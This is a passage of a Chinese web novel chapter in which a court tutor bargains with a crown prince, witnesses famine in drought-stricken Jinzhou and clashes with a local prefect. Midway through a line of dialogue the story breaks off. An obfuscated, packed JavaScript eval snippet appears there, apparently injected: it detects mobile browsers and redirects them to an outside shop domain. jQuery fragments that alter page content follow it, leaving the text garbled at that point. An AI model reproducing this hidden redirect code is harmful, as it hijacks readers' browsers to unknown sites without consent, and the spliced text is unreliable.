赵铭深若有所思,眼中的困惑被他藏进了深处。
“你还有疑问吗殿下?”嫣鹭洲有些心虚,只想快些逃出目前的处境。
赵铭深敲了敲桌子:“既然如此,嫣侍读就好好教你的书吧。”
嫣鹭洲差点没反应过来:“你......不打算关我了?”
“嗯。”
嫣鹭洲狐疑:“也不让人监视我?”
“对。”
赵铭深重新拿起书,摆明了是送客的态度:“既然你说你的目的是教书,那就让我看看你要怎么做。”
嫣鹭洲没带怕的:“行,太子殿下您好好看着吧。”
“怎么还不走?”赵铭深猛一抬眼,发现嫣鹭洲还愣在原地,不由问。
“那个......”嫣鹭洲犹犹豫豫,“如月她......”
见赵铭深皱眉,嫣鹭洲赶忙道:“你不要为难她,她......”
赵铭深打断,声色俱厉:“本宫生平最厌恶的,就是吃里扒外的内鬼。”
嫣鹭洲急了:“如月都是受我指使!你们要打要罚冲我来好了!”
反正她已经去刑房走了一遭,一回生二回熟,也......没、没什么。
赵铭深眼中有些探究:“她犯下的,可是死罪。”
“……你不能杀她。”
“给我个理由。”
嫣鹭洲咬咬牙:“只要你不杀她,让我做什么都可以。”
赵铭深盯了她半晌,眼中情绪深沉却猜不出半分,最后,他开口:
“行。”
……就,这么简单?
嫣鹭洲的表情教赵铭深笑了笑:“放心,回京后有你做的。”
不知为何,嫣鹭洲生出点寒意。
都说伴君如伴虎,嫣鹭洲总有种与虎谋皮的感觉。但……只要有足够的积分在手,她不怕赵铭深给她下套。
思及此,嫣鹭洲坚定了想法:虽然被“流放”到了靳州,但教书育人的进度不可落下。
但嫣鹭洲没想到,她在街上转悠了三天,竟一点“传道授业”的机会都没找到。
——
接了自己的路引、令牌,嫣鹭洲就离开了官邸。
靳州城的情况很糟,除了主城区稍微好一点,其余地带几乎是流民遍野。巨大的热浪晒干了荒漠里仅有的一条河,许多灌木直接被连根晒死。风沙再也无所忌惮,一片一片地卷到了房屋、淹没了城镇。
没有水,百姓们渴死、晒死,成群成堆的尸体又侵染了仅存的地下水——嫣鹭洲一看那泛着绿光的井水就反胃,但周围的百姓提桶拎盆,蜂拥着去抢。
嫣鹭洲愣住了,有些说不出话来——“小先生,你刚才问……”老人提着浅浅一桶底水回来,有些迷茫地说。
“哦,我刚才……我刚才问您,这附近有需要教书先生的人家吗?我免费上课,读写识字、典籍分析、科举专项提升……”嫣鹭洲有些说不下去,“那个,抱歉,我没想到这边的情况如此糟糕。”
老人打量着她:“小先生是刚从外地来的吧?怎么会想到来我们这种地方收学生?”
嫣鹭洲沉默。
“嘿嘿,”老人苦笑两声,拖着枯瘦的身体艰难转身,“那边,溪流巷有个富户,也许需要私塾先生。”
“多谢。”嫣鹭洲微微躬身,目送老人消失在屋檐后。
嫣鹭洲回头看看这些抢水的百姓渐渐散了。井里已经捞不出东西了。一个妇人攥了把淤泥包进帕子,用舌头去舔那一点湿润。
嫣鹭洲不知情况怎至于此,心道:这灾旱已不止一天两天,开春之后水源的问题应该早早解决了,为什么现在还是这样……朝廷之前的赈灾款怕是没有用到实处……
她想着想着,发现自己不自觉地走到溪流巷。
主城区的富商依旧“安居乐业”,掌握了平民阶层绝大多数资源的他们似乎永远不会为生存着急。
嫣鹭洲准备一家家敲门去问,没等她敲门,背后几匹快马疾驰,几个官兵下马,快速走向几扇富丽大门。
嫣鹭洲认出这些人穿着东宫属官制服,不动声色转进墙角——
“太子谕旨到!”
“……殿下命你们在三日内清理河床,疏清河道,直到能储水为止!”
几个富商叫苦连天:“三日?这不可能啊官爷!”
“我们也受灾匪浅,实在拿不出这么多银子……”
“你们受灾?要不是你们霸占河道乱修栈道,收‘过水钱’,风沙来袭时又舍不得出资防范,会让整片靳州河污染至此?”
“你们最好老老实实把河道恢复原样,否则……”
他没有说完,但接下来的话不言而明。
“可……栈道是周大人让修的,我们哪有办法……”
“另外,城中受灾,殿下下令田地五亩以上、人丁外加佃户大于10的人家加收赈灾税。”属官没接话直接打断了,他说完就要回去复命,几个富商却还想挣扎一番。
“……官爷,您这不是摆明了欺、欺负人嘛。还有崔大人——”
“你说‘崔良’?”属官冷冷答道,“他连同数名靳州官员已经下狱,待查清相关事宜便斩首示众!”
“什么?”几名富商皆大惊失色。
属官冷哼:“殿下已经给过机会,如果不珍惜,就跟他们一个下场!”
这话过后,那些富商都哑巴了。
干得漂亮!嫣鹭洲在背后竖起大拇指,这赵铭深人虽然有些不讲道理,但处理公事还算得力嘛。
嫣鹭洲想了想,转身往知府官邸走去。
既然现在也没法教书,不如去看看赵铭深那儿缺不缺人手。
——
“你怎么来了?”九指现在看到嫣鹭洲就烦。
他越这样,嫣鹭洲就越想逗人:“怎么?之前不是要抓我严刑拷打吗?我现在送上门来你反而不乐意了?”
“你……”九指转过头,“殿下已经说了不再控制你,你还不跑得远远的?”
嫣鹭洲耸耸肩:“既然不再限制人身自由,我为什么不能过来?”
九指皱眉:“你到底什么意思?”
嫣鹭洲笑笑:“我不逗你了。说认真的,到底我还算朝廷命官,这赈灾大事怎能束手旁观?”
“你这种不安
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947806|214018||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
定份子,就是再缺人我们也不会要!”九指说着扭头就走,被嫣鹭洲拦住了:
“诶!别走……你们把我弄到这儿来,我暂时也没处可去。能帮点忙,我也不算白待。”
“起码,你先问问你们殿下啊。”
九指不愉:“殿下忙于事务分、身乏术,没空管你这种鸡毛蒜皮的事!”
两人正争执不休,忽听府里一声暴喝,似乎是从知府大堂传来。
九指立刻往里走,嫣鹭洲正要跟上被官府衙役拦住了:“站住,没有允许不得……”
“你看看这是什么?”嫣鹭洲拿出刚取回不久的博士令牌,在衙役眼前晃了晃,“本官有要事在身。你们又没得上司号令,就别做这吃力不讨好的事了啊。”
吓唬了这些拦门杂役几下,嫣鹭洲很快摸进府里。
与檐下大柱擦肩而过时,嫣鹭洲差点撞上迎面一人。
那人四五十岁,穿着三品大员的褂子,嫣鹭洲怕惹事端,主动行礼告罪:“真是抱歉冲撞了大人……”
男人似乎刚刚发过脾气,此时怒火中烧正没处卸;瞧着嫣鹭洲一身布衣打扮抬脚就踹。
嫣鹭洲赶忙避让,但猝不及防之下仍旧被擦到,差点绊倒。
男人怒气冲冲地喝道:“赏他二十大板,扔到街上!”
“慢着!”
嫣鹭洲回头,意外地挑了挑眉。
九指脸上表现出不得不为厌恶之人说话的复杂神色:“周大人,嫣侍读是陛下亲命的侍读。如今虽然戴罪在东宫,但……怕不能由大人随意处置。”
周堂狐疑转向嫣鹭洲:“你就是那个教二殿下与三殿下的侍读?”
嫣鹭洲点头,心道自己一个七品小官,名头已经传到十万八千里外的靳州了吗?也难怪赵铭深忌惮。
“正是。”
周堂皱了皱眉,竟朝嫣鹭洲拱手行了个平礼:“不知是嫣侍读,本官倒是得罪了!”
“没有没有……”嫣鹭洲面上和颜悦色,心里早就捂着痛处骂开了;这周大人一看就是庸官,大庸官!
“嫣侍读身体无碍吧?”
见对方要走近看她身体到底“有没有碍”,嫣鹭洲连忙后退,口是心非道:“没事的,我年轻,挨几枚窝心脚也没事……”
这话很难接;看周堂尬笑,九指嘴角抽了抽,强压下笑意:“咳,周大人如果没什么要说的,属下就先带嫣侍读进去了。”
“等等!”周堂叫住嫣鹭洲,“本官是本地知府周堂。今日不慎冒犯了侍读,为表歉意,请侍读有时间来后院一叙。”
他就是靳州知府……看他这样子,无怪灾情到现在也无法控制。
“好,有机会一定来。”嫣鹭洲客气着,总算送走了这尊大佛。
两人下意识一起叹了口气。
嫣鹭洲和九指对视一下,勾了勾唇:“我还以为九指大人不会管我呢。”
九指皱眉:“你现在名义上算东宫的人,也算代表了殿下的颜面,我自然不能放任不管。”
“行吧,”嫣鹭洲低头揉搓腹部,一边揉一边嘶嘶,“那周堂怎么回事?刚才是他在和你们殿下争执?”